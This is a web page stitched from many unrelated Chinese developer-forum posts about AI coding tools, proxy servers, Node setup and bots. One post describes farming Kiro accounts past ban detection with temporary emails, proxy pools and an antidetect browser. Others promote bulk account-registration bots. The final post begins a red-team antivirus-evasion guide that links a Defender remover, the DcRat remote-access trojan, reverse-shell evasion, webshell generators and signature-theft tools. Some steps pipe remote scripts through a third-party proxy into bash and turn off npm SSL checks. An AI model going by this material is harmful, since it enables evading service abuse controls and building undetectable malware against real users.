【火狐扩展】Flow2API-Token-Updater(二开)
因为原作者 大佬没有提供火狐扩展,我个人用着不是太方便,就用 AI 更新了一版 Firefox 扩展,并且也增加了一个油猴脚本。有一些小 Bug,不耽误使用,使用油猴脚本的时候 “连接 Token” 需要自己填,脚本填好,Flow2API 配置管理界面也要填。
开源地址如下:
下一步准备更新 墨子 大佬的 RedInk,适配一下 Flow2API 的返回格式。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
因为原作者 大佬没有提供火狐扩展,我个人用着不是太方便,就用 AI 更新了一版 Firefox 扩展,并且也增加了一个油猴脚本。有一些小 Bug,不耽误使用,使用油猴脚本的时候 “连接 Token” 需要自己填,脚本填好,Flow2API 配置管理界面也要填。
开源地址如下:
下一步准备更新 墨子 大佬的 RedInk,适配一下 Flow2API 的返回格式。
偶然给我弹出来的,点进去看一眼似乎实现的还是比较初步
不过基本功能也做出来了,支持多家模型、能执行命令,可以使用 MCP 和 SKILL,也支持多平台使用
不过目前我没什么可以用得上的,有没有佬体验一波说说感观?
我们都知道,现在的 LLM 模型有很多,这些顶尖的有:Claude、GPT、Gemini 等,它们论综合能力或许有高低之分,但是绝对不是非此即彼、非优即劣的,而是它们各有自己独特的擅长点。就我个人的体验和感受来说(或许不专业):Claude 模型优点是复杂问题能精准剖析,但是缺点也很明显,就是经常 “丢三落四”;那么 GPT 模型优点就是仔细且全面(像个细心的母亲一样,哈哈),但是缺点就是对于综合性高的难题往往会出现一知半解的情况;总结就是:Claude 模型对全局的理解很强,GPT 模型对点上的 “抠细节” 很到位。那么,如果将它们组合起来,那就是无敌拳,于是该 SKILL 诞生了!!!
用 Claude Code 先规划,再写代码,写完代码,让 Codex 这个严格 “母亲” 细细得审查,不出意外,99% 的情况下它总能给挑出一些问题来,而且 Claude 会非常 “点头” 的认可,因为它总是 “丢三落四”。
当然你也可以直接让 ClaudeCode 做计划,Codex 做干活的实现(网上也有很多人这么干),但我个人不太喜欢这么干,我总感觉 Codex 干的活没有 Claude 干的好(这是我的个人看法),我更喜欢直接让 CC 干活,干完活让 Codex 审查,审出问题让 CC 修复,CC 修复完再让 Codex 继续审,循环直到没有任何问题时打破,最后完美结束任务。
1、下载下面的技能 zip
2、将包含 SKILL.md 文件的 codex 目录放到 ~/.claude/skills/ 目录下面
3、下载下面的自定义命令 zip
4、解压 codex-review.zip 应该会只有一个 codex-review.md 文件,将其放到 ~/.claude/commands/ 目录下面
注意:上面的路径风格使用的是类 Unix 系统的,如果你是 Windows 系统,那么请使用:
%USERPROFILE%\.claude或C:\Users\<你的用户名>\.claude,那么skills和commands子目录是相对于.claude目录的,也就是说:
技能目录:%USERPROFILE%\.claude\skills\或C:\Users\<你的用户名>\.claude\skills\
斜线命令目录:%USERPROFILE%\.claude\commands\或C:\Users\<你的用户名>\.claude\commands\
5、重启 Claude Code
先让 CC 写代码,写完之后使用下面的命令:
/codex-review 审查刚刚修改的代码
注意:“审查刚刚修改的代码” 这个描述是可选的,如果你需要指定它审查代码的范围,那就描述一下限定范围,如果你不写,它默认就是审查你所有的 Git 未提交的代码。
喝杯茶~~~静静得等待它完成就行啦!
继上次 codex 作为主 agent 使用 skill 操控 claude code 的讨论:
已经用了一周了,感觉效果还挺不错,可以一定程度上进一步加快 codex,因为 codex 会把绝大部分写代码的活交给 claude code,这样也可以很大程度上降低 codex 的上下文使用,使其能够工作更久、直接完成更加复杂的工作。而且在使用这个 skill 后,可以让 codex 利用好 "cc 写前端写的好" 的优点。
因此根据这位佬的回复,让 codex 和 cc 一起,连续花了一小时,按照类似的思路完成了一个新的 skill,让 codex 操控 gemini-cli。
再加上 codex 最新版更新了能够随时在工作中注入新的 prompt,实现更加无缝的交互,作为主 agent 使用起来还是非常爽的。btw, 感觉 gpt-5.2-xhigh 这个模型在一定程度上已经成为我对于 vibe coding 认识的一个分界线:现在我已经能够把绝大部分任务放心得交给 codex + gpt-5.2-xhigh 了。
skill 已经开源,以下是项目地址:
可能有人会问,这不就是把我之前的项目 ZhenHuangLab/collaborating-with-claude-code 稍微改一下输入输出就行了吗?但我考虑的可能会多一些。
众所周知,gemini-3-pro-preview 由于注意力机制的原因,其有效上下文比较有限(大概 50k 以下吧)。所以在 develop 这个 skill 的时候,相比于 codex 操控 cc 的 skill,我又加了比较多的约束:例如,默认只读、给同一个 session 内读取的文件 bytes 加了一个比较软的约束、增加了能够控制 gemini-cli focus 到某些文件的约束,等等(不过这些都是可以由你决定的,你也可以让 codex 完全不 care 这些约束),希望对于 codex 调用 gemini-cli 有一些帮助吧
以下是示例:
在体感上,gemini-cli 的回复会比 claude code 更快。所以或许可以要求 codex 鞭打 gemini 做一些精准的脏活累活,或者相当于多一个看代码的视角,帮助给某个文件找找 bug。就不用切来切去了,还能够做到整体任务的 context 连续性和一致性.
不过估计还得在不断使用过程中优化迭代一下,欢迎大家多提意见建议
越来越像正式版了,但是感 jio 还是差一点点。
项目地址: bohesocool/gemini-chat
前端页面大更新,加入了 logo,桌面应用更加的一体化了,增加了版本号,方便查阅是否能进行更新
支持使用 files api 批量读取 PDF 文件
支持给反重力等渠道丝滑的使用大香蕉模型,无需配置任何参数(可自定义比例与分辨率,流式非流以及思维链)
支持了网址上下文(打开后在提示词里面输入网址 gemini 会查询网址信息,不知道反重力与 cli 是否能使用)
支持了 live API,也就是语音聊天对话(实测 aistudio 免费 key 可用),但是我感觉效果,貌似不如豆包?
这个软件是能一键部署到 vercel 啥的上面的,不过我不知道怎么挂那个链接,晚点研究一下。
下一步应该是加个存储功能吧,可以选择开也可以选择不开,这样就可以不同设备记录同步了,看看有没有佬友有想要的功能(火速提出问题),还有就是怎么 star 这么难涨的哈哈哈哈
分享一下自用的 codex AGENTS.md 中的 git 提交规范
提交信息使用 Conventional Commits,确保日志可读、便于生成变更记录。
<type>[(scope)]: <summary>
[body]
[footer]
| 类型 | 说明 |
|---|---|
🎉 init | 项目初始化 |
✨ feat | 新功能 |
🐞 fix | 错误修复 |
📃 docs | 文档变更 |
🌈 style | 代码格式化(不影响代码逻辑) |
🦄 refactor | 代码重构(不新增功能或修复错误) |
🎈 perf | 性能优化 |
🧪 test | 测试相关 |
🔧 build | 构建系统或外部依赖 |
🐎 ci | CI 配置相关 |
🐳 chore | 构建过程或辅助工具的变动 |
↩ revert | 撤销提交 |
!,或在正文写明 BREAKING CHANGE: ...git status 确认改动范围git add <files> 仅添加相关文件npm run lint 通过后再提交git commit -m "..." 完成提交git push 后发起 PR(如需)下面是内容截图
下面是 md 压缩包
git-commit.7z
最近在维护公司老项目和开发新项目的时候,因为框架的问题老项目需要用低版本的 nodeJs 不然安装和编译过不了,然后新项目用的框架又用不了低版本的,以前都是直接用官方 msi 安装的,这样对我来说就很麻烦,然后我就发现这个 nodeJs 版本管理工具。看了一下没人写过完整的安装指南,那我就写(水)一篇
ps: 在我写这篇安装指南的时候看到有佬友发过可视化的版本( nvm-manager、nvm-Desktop),喜欢可视化的可以看看,NVM-Windows 是终端命令行的~
若已通过 MSI 安装过 Node.js,请先卸载:
打开 控制面板 → 程序和功能
找到 Node.js,右键卸载
删除残留目录(如果存在):
C:\Program Files\nodejs C:\Users\<你的用户名>\AppData\Roaming\npm 重要:未卸载旧版会导致 nvm 无法正确接管 Node 环境 。
创建无中文、无空格的目录用于安装 NVM,例如:
D:\NVM 创建无中文、无空格的目录用于存放 nodeJs 相关的东西,例如:
/**
* nvm映射nodeJs的路径,这是能够指定版本的关键。映射之后里面会多出一个nodeJs的文件链接,指向指定的nodeJs版本文件夹
*/
D:\nodeJs\execPath
/**
* 缓存和全局包目录
*/
D:\nodeJs\node_cache
D:\nodeJs\node_global
/**
* 我们安装的各个nodeJs版本目录,比如我安装了 22.13.0 LTS 和 24.9.0 两个版本,就会 v22.13.0 和 v24.9.0 两个文件夹,nvm的文件夹链接就是链接到这里面的某个文件夹,实现多版本切换。
*/
D:\nodeJs\nodeJsPackage路径含空格会导致
nvm use命令失败
访问官方 GitHub Release 页面:
Releases · coreybutler/nvm-windows · GitHub
nvm-setup.exe(图形化安装,自动配置环境变量)nvm-setup.exe安装路径:D:\NVM(或你自定义的路径)
选择 NodeJs 链接路径,默认是 C:\nvm4w\nodejs,我们换成上面创建的 D:\nodeJs\execPath**(这里因为我已经安装过了,所以会显示链接路径出来,首次是没有的)** 然后点下一步
后面的看自己需要自行选择即可,最后点击 Install 完成安装
打开 新的终端窗口(必须重启终端),执行:
nvm version
若输出版本号(如 1.2.2),说明安装成功 。
编辑 D:\NVM\settings.txt(nvm 安装目录下),添加或修改:
root: D:\nodeJs\nodeJsPackage
path: D:\nodeJs\execPath\nodejs
node_mirror: https://npmmirror.com/mirrors/node/
npm_mirror: http://mirrors.tencent.com/npm/
镜像源使用
npmmirror.com(原淘宝 NPM 镜像已停用)。
| 功能 | 命令 |
|---|---|
| 查看可安装版本 | nvm list available |
| 安装指定版本 | nvm install 24.10.0 |
| 安装 LTS 版本 | nvm install lts |
| 切换版本 | nvm use 24.10.0(如果没有跟着上面的配置来的话需要管理员终端才能执行,因为默认映射的路径是 C:\Program Files\npm,微软要求操作 C:\Program Files 下的东西都需要管理员权限才能执行) |
| 查看已安装版本 | nvm list |
# 安装
nvm install 24.10.0
# 切换
nvm use 24.10.0
# 验证
node -v # 输出 v24.10.0
npm -v # 输出对应版本 npm config set prefix "D:\nodeJs\node_global"
npm config set cache "D:\nodeJs\node_cache"
npm config set registry http://mirrors.tencent.com/npm/
npm config set strict-ssl false
npm install -g pnpm
验证配置:
npm config list
用户变量 PATH 中添加:
D:\nodeJs\node_global (可选)新建用户变量 NODE_PATH:
D:\nodeJs\node_global\node_modules 此步骤确保全局命令(如
yarn,vue)可在任意终端使用 。
然后你就拥有一个了 多版本共存、无权限烦恼、下载飞快 的 Node.js 开发环境了!
众所周知电报上有很多公益的 emby 服务,基本都需要积分和活跃保活。活跃好说,但每天签到实在是个麻烦事。于是我突发奇想,和 Gemini 商量了一会儿,写了个简单的自动打卡程序,依赖 alwaysdata 的免费服务器,实现发送命令和点击按钮,以此完成 bot 的签到打卡。
下载脚本自动签到.7z
里面有两个需要用到的 py 脚本,都是 Gemini 写的
脚本里已经配置的 bot 是 okemby 的,请根据你的实际情况调整对象和操作步骤
比较纯净的家庭 IP
开 alwaysdata 和获取用户 API 都对网络有较高要求,我用的是风萧萧大佬的公益机场,感谢风佬和 hkxiaoyao 佬
服务器
这里以 alwaysdata 的免费小鸡为示范,用家宽可以免费白嫖。用其他鸡当然也可以
TG 用户 API
操作账户需要用户 API,前往 my.telegram.org 登录你的账户然后点第一行蓝字,在这里新建一个 APP
这一步对环境要求很高,建议使用手机号归属地家宽 (86 用香港) 加无痕模式,否则会一直 error,我也是在这卡了两天然后莫名其妙好了
如果你成功创建会看到下面这样的窗口,记下这里面的信息:
在自己电脑上安装 tgcrypto
pip install pyrogram tgcrypto
修改 getsession.py,将自己的 api_id 和 api_hash 都替换进去,然后运行脚本
python .\getsession.py
如果报连接不上就把代理开全局,若使用 Clash Verge 请务必开启虚拟网卡模式
运行后会要你输入验证码(发送到你的 tg)和二级密码,输完就会自动生成 my_account.session 到目录下
编辑器打开 checkin.py,把你的 api id 和 api hash 都放到配置区域
连上 ssh,执行下面命令安装 pyrogram
pip install --user pyrogram tgcrypto
新建一个目录,名字随意,我这里就叫 checkin
mkdir checkin
cd /checkin
然后把你的 session 和 checkin.py 都上传到这个目录
到这里基本就大功告成,手动运行一下试试
python ./checkin.py
不出意外的话接下来会输出一串日志,根据日志我们可以判断执行没问题,到 tg 检查也能看到签到结果
进入 alwaysdata 控制面板,点击Advanced 目录下Scheduled task,新建一个计划任务
任务类型默认(执行命令),然后Value 填这个
python3 /home/nay/checkin/checkin.py >> /home/nay/checkin/log.txt 2>&1
Working directory 填你的脚本目录,我的是
/home/用户名/checkin
Frequency 选择Everyday at,时间是法国时间(UTC+1),或者你也可以在 ssh 执行 date 看服务器时间,我直接 07:21 了
然后保存就大功告成了,脚本的运行日志会保存在执行目录里面,名为 log.txt,你可以把时间设置为一分钟后来测试是否有效
所有程序都由 Gemini 完成,比较简陋单一,请务必根据你的实际情况修改 checkin.py
一时兴起写着玩的,可能有一些错误之处,欢迎大佬们指瑕
其次来记录一下 Kiro 注册封号问题解决思路!可能有点啰嗦但是可以解决百分之 80% 问题!
在之前我在 Github 下载了一个开源的 Krio 注册机项目,可以自己注册实现了账号自由。结果没有几天注册的号进行封号,我重新使用注册机注册了 3 个号结果还是封号!
没错就是图片这种情况,于是开始思考了一下,为什么会出现封号!
我开始了解决的方法,先去解决了邮箱问题我看别人都是微软的,我购买了一批注册还是不行。
我就解决 IP 问题,我购买了好多家的 IP 代理全是 US 的结果还是不行!我是 mac 电脑机器码改了还是不行!我就去下载了比特浏览器 + 购买的代理注册测试!结果还是封号!不应该的啊都解决了为什么还是一样?于是我去某鱼购买了别人的 Token 导入注册机没问题。
为什么购买别人的没问题而我的有问题?我在 L 社没看到什么解决的方法。就在我吞云吐雾的时候,发先了一个大问题!
于是我就用自己的的号注册了 Kiro 平台手动获取 Refresh Token 并起导入了注册机没有封号是正常的!我就知道了是开源的项目的注册机注册成功之后获取的 Token 有问题,于是跟着流程走到注册成功之后授权页面。
在这个页面的时候 我打开浏览器的调试模式查看了 Token 发现没有 Refresh Token 只有 x-amz-sso_authn 的 Toekn 我点击了授权导入了注册机,在注册机对比了一下一模一样!不出意外就这个问题导致的,使用 x-amz-sso_authn 获取到 Toekn 容易封号!那么解决的方法就是获取到 Refresh Token 可是我注册成功登录到 app.krio.dev 看了一下是否可以看到 Refresh Token,接口新注册的号是没有的,但是我自己的老账号明明是有的!这个就很奇怪了!我老账号是 google 登录的,新的号码是临时邮箱注册的!是不是这个问题呢?应该是的!
但是注册机添加账号有多个选项,可以使用 OIDC 凭证进行登录,虽然无法获取到 Refresh Token 但是在应用授权页面可以获取到 OIDC Token
于是我就在这个页面 点击授权之后轮询获取 OIDC Token 并添加导入到注册机发现号没有封!
所以最终的问题出在:注册机的注册流程最后一步添加的 Token 有问题,x-amz-sso_authn 的 token 现在封号,应该获取 OIDC Token 使用 Buildid 进行登录,我反正测试了很多没有封号!
不过我将注册机二开了,添加了临时邮箱注册,使用比特浏览器 + IP 代理池进行注册没有封号!
下面是我的注册流程:
1. 注册机自动获取设备授权码
2. 访问设备授权页面
3. 输入邮箱 → Continue
4. 输入姓名(新注册)→ Continue
5. 获取并输入验证码 → Continue
6. 设置密码 → Continue
7. 点击 “Confirm and continue”(设备授权确认)
8. 点击 “Allow access”(应用授权)
9. 轮询获取 OIDC Token
10. 获取到的 OIDC Token 自动到注册机
来 L 站的第二次发帖,前天下载了一个 comfyui,发现 ai 绘图进化速度真快。以前用 webui,现在都是拉工作流了。
玩了一天发现 sdxl 和 sd 模型依然需要管理一些标签,网上公开的魔导书用起来总是差点意思,不方便自定义标签,开源的也没有找到好用的。
于是自己动手丰衣足食,下面介绍一下自己的开源项目 AI2IMG_Tag:
AI Tag Manager 是一个专为 Stable Diffusion、NovelAI、Midjourney、ComfyUI 等 AI 图像生成工具设计的综合性 Web 应用。集成了大模型服务,可以利用AI管理标签和生成用户需要的标签,比如用AI指令更换人物动作。
核心功能介绍:
导入一次性多个 tag,并用 ai 针对自己设定的类别进行分别识别 (方便从 c 站抄别人的一组词,然后选择想要的某些特征标签导入)
基于已选中的 tag 进行动作调整或者风格编辑,输入指令后,ai 自动从 tag 中挑选合适的标签。也可以直接根据用户质量挑选 tag 生成。
比如:可以选择移除所有动作相关的词汇,或者让 AI 分析哪些词汇与选择类别相关,然后高亮相关词汇,用户自己决定删除哪些 tag,可以及其方便的修改人物动作,衣服或背景等。
点击魔法按钮一键优化提示词顺序,当你挑选了一大堆提示词后,顺序混乱,可以让 AI 一件优化顺序,让模型更好的理解提示词。
当你使用的是 flux 类型的模型,依然可以使用 tag 组合,然后 ai 将 tag 组合成句子
当你创建过一些优秀作品,可以上传到画廊,连同其提示词一起上传,方便后续复现或迭代修改 (谁不想收藏一下自己的优秀作品呢? )
by the way, 感谢站内各位大佬提供的公益站和某些富可敌国的免费额度(fox code )
地址如下:
如果想通过 ssh 登录 IPv6 VPS,那么你要保证自己有 IPv6 网络环境。可以通过 https://test-ipv6.com/ 测试当前是否有 IPv6 网络环境。家庭 WIFI 可能没有 IPv6,一般手机流量都是 IPv4+IPv6 的,所以你可以通过手机热点获取 IPv6 网络环境。下面的教程适用于 Debian 或 Ubuntu 系统
更新软件源并更新可更新的软件
apt update && apt full-upgrade -y
开启 BBR(需要 Linux 内核版本 >= 4.9)
echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p
开启成功会显示
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr
root@42-IPv6:~# 使用如下脚本,语言选择简体中文
wget -N https://gitlab.com/fscarmen/warp/-/raw/main/menu.sh && bash menu.sh
到下面这个界面时,选择 1,然后一直回车
等待一会,然后看到类似如下,就说明成功获取了 IPv4 出口
为什么要套 CF IPv4 出口呢?
因为 IPv6 only 机器自身无法访问仅支持 IPv4 的网站,当我们给 v6 only 机器套了一个 CF IPv4 出口后,IPv6 only 机器就具备访问仅支持 IPv4 的网站了。例如:github,tiktok,抖音都只支持 IPv4
这里主要给大家讲两种搭建节点的方法,各自有各自的优点。
方法一:使用 x-ui 搭建 vmess+ws 协议节点(操作起来简单并且环境要求简单)
1. 安装 x-ui
bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)
安装过程中,它会让你设置账户和端口,按提示设置即可,成功后会显示类似如下
2. 登录 x-ui 面板并搭建节点
使用 IPv6 + 端口访问面板,形式例如:http://[2404:8c80:xx:800x::xx]:4242/ 你要把 IP 换成机器的 IPv6 地址,端口换成你给 x-ui 面板设置的端口,然后进入登录界面,输入你设置的用户名和密码登录即可,登录成功后你会看到类似如下
然后点击左侧入站列表,点击加号,添加入站,按照下图配置
然后复制节点连接,操作如下
此时节点链接已经复制到剪切板了导入一款代理工具即可,例如:v2rayN 或 NekoBox
看到不超时有速度就表示成功了。
方法二:使用 233Boy 脚本搭建节点
233Boy 脚本对于小白来说非常友好,脚本安装成功后直接点一点不管什么协议都可以无脑搭建出来。但是有一些 IPv6 only 在安装 233Boy 脚本会出现安装失败的情况(即使 v6 机器已经套了 CF IPv4)
1. 安装 233Boy 脚本
bash <(wget -qO- -o- https://github.com/233boy/sing-box/raw/main/install.sh)
如果你很幸运,直接安装成功了,233Boy 脚本安装成功后会自动生成一个 vless 协议节点,如下图,复制节点链接,导入到一个代理工具中
2. 在代理工具中修改一下节点
233Boy 给出的节点 IP 是我们使用 warp 脚本获取的 CF 的 IPv4 地址,如果你不做修改,直接使用,你会发现节点用不了。因为 warp 获取的 IPv4 地址只支持出口流量,不支持入口流量,所以我们要把这个 IP 改成你的 IPv6 only 机器的 IP
测试发现不超时有速度,恭喜你搭建成功。
3. 如果 233Boy 安装失败
例如出现如下错误
这个问题大概率还是因为 IP 的原因,这时候你需要一个代理服务器,转化一下 github 的这个 233Boy 脚本,这里提供下面下载链接,下载成功后的操作和上面直接下载成功的操作一样哦
bash <(wget -qO- -o- https://ghproxy.indevs.in/https://github.com/233boy/sing-box/raw/main/install.sh)
这个链接是利用 ǝɔ∀ǝdʎz∀ɹɔ 大佬利用 cloudflare 的 worker 搭建的服务转换过来的,原地址在: https://ghproxy.indevs.in/ ,ǝɔ∀ǝdʎz∀ɹɔ 大佬乐于助人技术高超,他的博客质量也很高,博客地址: https://zelikk.blogspot.com/
宝子们,你们现在已经掌握了在 IPv6 only 机器搭建节点,快去试试吧。
本次教程所用机器是 @4242 的 IPv6 机器(这个机器可以直接安装 233Boy), 机器不错哦。
如果你想让 IPv6 机器搭建的节点在只有 IPv4 环境的设备上也能使用,你可以看看 这篇文章
如果你想使用 233Boy 搭建其他协议节点,你可以看看 最好用的 sing-box 一键安装脚本 - 233Boy 这篇文章
久等了。
恰逢 L 站两周年!
一定要更新!!!
刚刚更新了登录浏览器数据清理、微软验证码优化、无痕登录、浏览器引擎 DP/UC 等等
SnapSheep 【Gemini Business 注册机】
dasfsa sa 【微软邮箱注册机】
又笨又坏Zooo1 【DuckMail 邮箱注册】
gemini business 究极缝合怪
F 佬 Linux.do 讨论
heixxin/gemini | Linux.do 讨论
Gemini-Link-System | Linux.do 讨论
DuckMail 邮箱
kitwing
非常感谢每一位佬友的付出。
终于,2api 项目解决了最后一个痛点: 无法自动刷新账号
一开始也是自己有点需求,随便弄了弄了,以为没什么人看,没想到后续项目越来越多大佬加入、各种完善,现在,几乎每个人都可以实现 Gemini 全系、香蕉画图自由!且上手门槛极低!
一定注意更新!!!
主要功能:
页面截图
项目地址(求 Star)
重要:
未来计划:
欢迎更多佬友 PR
注意,抱脸不支持自动注册刷新账号等功能!!!
另外,预告一下本项目的本人公益站,注册赠送 100,Gemini3PP 按次计费 1/ 次
目的:想赚点 LDC、用来购买站内大佬的 CC,方便更快更新程序!
用的香港的小鸡,不知道抗不扛得住,不知道运营多久。
之后可能更新主贴,先给三级佬友测试,抱脸部署的,画图不稳定。
暂时先这样,测试运营。
主站:https://free.nanohajimi.mom/
打赏 66 建议购买公益站 Gemini 额度
也可直接打赏 LINUX DO Credit
感谢各位!
vibe coding 练习
对话输入 prompt 总时长:3min
编辑器:antigravity
基座模型:claude opus 4.5
其他插件:无
ai 总工作时间:30min
各位佬友好,分享一个自己 Vibe Coding 项目。
一句话介绍:
又一个文件传输工具,点一下按钮部署到 Cloudflare Workers 全球边缘节点(感谢赛博大善人),文件走 WebRTC 点对点传输,服务器只负责牵线,全程端到端加密,完全免费。
核心特点
传输相关:
安全相关:
部署相关:
其他:
技术栈
Cloudflare Workers + Durable Objects + WebRTC + Web Crypto API,前端原生 JS 零依赖。
项目链接
项目截图:
欢迎各位佬友试用反馈,本项目全程 Vibe Coding 实现,有问题随时提 issue,觉得有用给个 star 就是最大支持。
自己日常用青龙面板搞自动化,看到好项目都忍不住想往上搬
这次发现佬友 mumuladu 的 A 股 AI 分析神器,可惜不支持青龙,于是手痒改了一版,分享给同样用青龙的朋友们~
- 适配青龙定时任务,收盘自动跑
- 支持 20+ 推送渠道,报告直达手机
感谢原作者开源!开源精神万岁!
附上几个截图
https://pdp-asset-v6-navy.ipns.gateway.v2ex.pro
大容量网盘,一次性上传超过 150 GiB,可以帮忙生成一个类似与 OpenList 的网页
之前在小黑盒看到过说把收藏夹导出,copy 给大模型整理出新的源码,然后再导入回去。就想能不能把这个做成个浏览器插件,虽然完全没做过,但是好在现在有 vibe coding。于是今天就趁着周末动手了。GitHub - PaiPai121/ReShelf
碰到的坑主要是一些几个吧:
chrome 插件如果一段时间没心跳信号就被杀掉了,这个之前没了解过,然后如果大模型算的太慢就可能会被杀掉,然后还不一定能复现,因为不一定每次要思考多久。和 ai 反复聊了才发现。
另一个就是想单纯依靠免费的 api 来实现,调试过程中好像把 gemini 的免费额度用完了,最后发现 openrouter 的免费模型很适合搞这个。
cursor 生成代码的边界保护做的倒是还挺不错的。
还有很多需要细化的地方,希望各位佬们尽情指点。
在 【solo-agile-template】人人都是全栈工程师 以及 人人都是全栈工程师第二弹 后,作者君持续探索全栈工程师 & 一人公司 这条道路。在之前的探索上,这次我基于 AionUi 新包还没发成(skills 有 bug),先冲上 github 榜 1 了... 瓦砾酱的 AionUI 二次开发了 CodeConductor(简称 CC )。
CodeConductor 相比与 AionUI,引入了 command、Skills 等特性,并且引入了作者念念不忘的 Multi-Agent 协作体系,允许多个 Assistant 通过协作来解决复杂项目开发和管理的问题。另外在交互上做了一点小优化。目前 CC 的中期目标是让能通过 CodeConductor 来对 CodeConductor 进行迭代开发,左脚踩右脚直接螺旋升天!
下面教程主要介绍如何安装 gemini cli 并且使用第三方 api 提供的模型。
操作系统为 windows 11,安装工具是 nodejs。
如果使用 node 安装过 claude code cli,那么可以跳过这一步。
到官网下载 node.js 的安装包程序,点击完成安装。都默认配置,下一步完成安装即可。
安装后在终端工具中输入 node -v 和 npm -v 查询 node 和 npm 的版本,检查是否安装成功。如果成功返回版本号就表示安装成功了。
D:\Users\qozi>node -v
v20.19.5
D:\Users\qozi>npm -v
10.8.2
效果图如下:
在终端中输入下面的命令,然后等待完成安装:
npm install -g @google/gemini-cli --registry=https://registry.npmmirror.com
–registry=https://registry.npmmirror.com 这个参数是指定下载源,如果有梯子网络比较好,可以不加。
效果图如下:
使用 npm 命令时间比较久,大家耐心等待。如果喜欢研究的可以了解一下 yarn 和 pnpm。
完成上面的步骤就已经可以在终端中使用 gemini 命令使用了,会进入到认证页面。因为我们要使用第三方 api,所以没必要现在就启动,先按照下面的步骤完成第三方 api 的配置。
主要两个配置 .env 和 settings.json 两个文件。(我不太喜欢配置系统的环境变量,所以一般都是在配置文件中设置)
首先要注意这两个文件的位置:都是在当前用户目录下的 .gemini 文件夹下面。(安装过 claude code 的可以参照 .claude 文件夹,他们是在同一个层级下)
我的用户目录是 D:\Users\qozi ,对应的这两个文件的位置如下图:
如果用户目录没有 .gemini 文件夹的,就照着手动创建一下。
#开头的是注释,这个可有可无。 GOOGLE_GEMINI_BASE_URL 填你的 api 的地址,GEMINI_API_KEY 填你的密钥。
### gemini cli .env 配置 # imyal api
GOOGLE_GEMINI_BASE_URL=https://hk-api.gptbest.vip
GEMINI_API_KEY=sk-xxx
GEMINI_MODEL=gemini-3-pro-preview
security.auth.selectedType 指定认证类型。使用第三方 api,必须这样填。该参数默认是 undefine。
{
"security": {
"auth": {
"selectedType": "gemini-api-key"
}
}
}
settings.json 的配置只写了 api 认证需要的的配置,其他的配置还有很多,大家可以自行探索。文档最后会给出官方的文档地址和他提供的一个示例。
配置好后就可以在终端中输入 gemini 开始使用了。
上面配置后正常是可以用的,如果无法使用可以先确认一下 api 的地址和密钥是否正确,是否支持 gemini 的模型。
官方提供的一个完整 settings.json 栗子(注意仅适用于 v0.3.0 及之后的版本且参数不是全部的):
{
"general": {
"vimMode": true,
"preferredEditor": "code",
"sessionRetention": {
"enabled": true,
"maxAge": "30d",
"maxCount": 100
}
},
"ui": {
"theme": "GitHub",
"hideBanner": true,
"hideTips": false,
"customWittyPhrases": [
"You forget a thousand things every day . Make sure this is one of ’em",
"Connecting to AGI"
]
},
"tools": {
"sandbox": "docker",
"discoveryCommand": "bin/get_tools",
"callCommand": "bin/call_tool",
"exclude": ["write_file"]
},
"mcpServers": {
"mainServer": {
"command": "bin/mcp_server.py"
},
"anotherServer": {
"command": "node",
"args": ["mcp_server.js", "--verbose"]
}
},
"telemetry": {
"enabled": true,
"target": "local",
"otlpEndpoint": "http://localhost:4317",
"logPrompts": true
},
"privacy": {
"usageStatisticsEnabled": true
},
"model": {
"name": "gemini-1.5-pro-latest",
"maxSessionTurns": 10,
"summarizeToolOutput": {
"run_shell_command": {
"tokenBudget": 100
}
}
},
"context": {
"fileName": ["CONTEXT.md", "GEMINI.md"],
"includeDirectories": ["path/to/dir1", "~/path/to/dir2", "../path/to/dir3"],
"loadFromIncludeDirectories": true,
"fileFiltering": {
"respectGitIgnore": false
}
},
"advanced": {
"excludedEnvVars": ["DEBUG", "DEBUG_MODE", "NODE_ENV"]
}
}
第一次发帖,大部分内容引用了许多大佬们的文章连接和代码,20% 是引用,80% 均为个人理解
希望红队的 XDM 早日在攻防与 APT 中取得精彩成绩
本文章分为很多篇章,由于太长我将抽时间一篇一篇的发布
搞免杀得多学习一下新颖的技术和了解一些常用的社区平台
virustotal:https://www.virustotal.com
某 60 沙盒:https://ata.360.net/
微步沙盒:https://s.threatbook.com/
奇安信沙盒:https://sandbox.ti.qianxin.com/sandbox/page
腾讯哈勃:https://habo.qq.com/
FreeBuf:https://sandbox.vulbox.com/detect?theme=vulbox
yara:https://github.com/VirusTotal/yara/releases
逆向环境虚拟机:
https://github.com/indetectables-net/toolkit
做免杀推荐断网开发,移除 defender
https://github.com/ionuttbara/windows-defender-remover
如果要上传沙箱建议使用本地沙箱,具体就不举例了
CS 资源:https://github.com/zer0yu/Awesome-CobaltStrike
免杀手法:http://web.archive.org/web/20240531035548/https://cmn.cool/docs/Maldevacademy/
免杀手法:https://github.com/g1oves2ali/anti-anti-virus
免杀手法:https://github.com/xf555er/AntiAntiVirusNotes
巨龙拉登:https://github.com/k8gege/Ladon
欧拉:https://github.com/d3ckx1/OLa
upx 加壳:https://github.com/upx/upx/releases
反弹 shell 免杀:https://github.com/emrekybs/nim-shell
py 生成 php 免杀 webshell:https://github.com/xzajyjs/Anti-Virus-PHP
DcRat 远控:https://github.com/qwqdanchun/DcRat
DcRat 汉化版 (类似于 CS 的远控)https://github.com/sysrom/DcRatCHS
数字签名工具 (GUI)https://github.com/INotGreen/SharpThief
数字签名工具 (可签 dll):https://github.com/langsasec/Sign-Sacker
PE 资源编辑工具 (restorator2018):https://www.52pojie.cn/thread-752217-1-1.html
建议采用 64 位 PE 做免杀,因为 64 位 PE 具备很多 32 位不具备的 WINAPI 函数和系统调用,这样 3 环的规避性可以大大提升,从而转移到内核对抗
同时 32 位的空代码编译出来放进 virustotal 存在的误报会更多一些,为什么 x86 的误报比 x64 高?
这是因为 x86 使用了 wow64,大多数函数调用和默认编译器的静态链接会更多一些,某些字符串和导入函数更多,即使没有恶意代码也会增大文件的熵值
关于虚拟机测 antivirus 看这里,虚拟机可以克隆链,然后记得关上传样本,不然刚入门你会被标记到吐血
https://cloud.tencent.com/developer/article/2 某 60993
